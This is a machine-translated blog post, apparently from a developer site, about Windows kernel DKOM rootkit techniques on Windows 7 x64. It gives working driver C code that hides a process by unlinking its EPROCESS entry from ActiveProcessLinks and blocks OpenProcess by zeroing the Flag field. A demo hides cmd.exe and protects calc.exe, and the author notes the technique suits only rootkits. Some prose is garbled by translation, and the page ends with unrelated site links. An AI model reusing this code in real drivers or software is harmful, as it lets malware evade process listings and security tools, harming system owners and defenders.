DKOM Hiding and protecting processes

The main operation is the linked list , Node content and modification .

DKOM  The essence of hiding process and protecting process is operation  EPROCESS  structural morphology , When using different systems, pay attention to the relevant definitions , Determine down offset , The following data is based on win7 64 take as an example .

shut   notes   Two   individual   become   member  : ActiveProcessLinks  and  Flag .

ActiveProcessLinks  Put each EPROCESS  The structure is connected into “ Double linked list ”,ZwQuerySystemInformation
When you enumerate a process, you enumerate this linked list , If a  EPROCESS  Remove from it ,ZwQuerySystemInformation
You can't enumerate the processes that have been disconnected , And depending on this function  RING3  The enumeration process function of is also invalid ; But Flag  Set up  0  after ,OpenProcess 
The function returns a failure . But it's important to note that , use   use  DKOM   To protect the process can be very dangerous , For example   call  CreateProcess  
Meeting   fail , and   process   sign out   but   If you don't remove the protection , There is a certain probability that blue screen will be caused . in a word ,DKOM   Protection process   and   Hide process   Only for  ROOTKIT 
, It does not apply to regular software . The code for hiding and protecting processes is as follows :

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS
*Process); NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
// Target process PEPROCESS audiodg=NULL, dwm=NULL; ULONG op_dat; // Offset definition #define
PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188 #define PROCESS_FLAG_OFFSET 0x440
// get EPROCESS PEPROCESS GetProcessObjectByName(char *name) { SIZE_T i;
for(i=100;i<20000;i+=4) { NTSTATUS st; PEPROCESS ep;
st=PsLookupProcessByProcessId((HANDLE)i,&ep); if(NT_SUCCESS(st)) { char
*pn=PsGetProcessImageFileName(ep); if(_stricmp(pn,name)==0) return ep; } }
return NULL; } // Removes the specified item from a doubly linked list VOID RemoveListEntry(PLIST_ENTRY ListEntry) { KIRQL
OldIrql; OldIrql = KeRaiseIrqlToDpcLevel(); if (ListEntry->Flink != ListEntry
&& ListEntry->Blink != ListEntry && ListEntry->Blink->Flink == ListEntry &&
ListEntry->Flink->Blink == ListEntry) { ListEntry->Flink->Blink =
ListEntry->Blink; ListEntry->Blink->Flink = ListEntry->Flink; ListEntry->Flink
= ListEntry; ListEntry->Blink = ListEntry; } KeLowerIrql(OldIrql); } // Hide process
VOID HideProcess(PEPROCESS Process) {
RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
} // Protection process ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v) {
ULONG op; if(bIsProtect) { op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0; return op; } else {
*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v; return 0; } } VOID test() {
audiodg=GetProcessObjectByName("calc.exe");DbgPrint("calc: %p\n",audiodg);
if(audiodg) { op_dat=ProtectProcess(audiodg,1,0); ObDereferenceObject(audiodg);
} dwm=GetProcessObjectByName("cmd.exe");DbgPrint("cmd: %p\n",dwm); if(dwm) {
HideProcess(dwm); ObDereferenceObject(dwm); } }

results of enforcement : The calculator won't end ,cmd.exe There is no process

however cmd There is this :

 

Technology
©2019-2020 Toolsou All rights reserved,
Error summary -myBatis plus paging use easyPOI Import Excel data In the problem of target detection “ recall Recall”,“ Accuracy Precision”vue use vue-clipboard2 Realize the function of copy link C In language switch sentence Wechat applet (uni-app)url Parameter transfer object hive compress &&hdfs Merge small files hive Summary of processing methods for a large number of small files use spring Of AntPathMatcher matching url route Linux Page replacement algorithm C Language implementation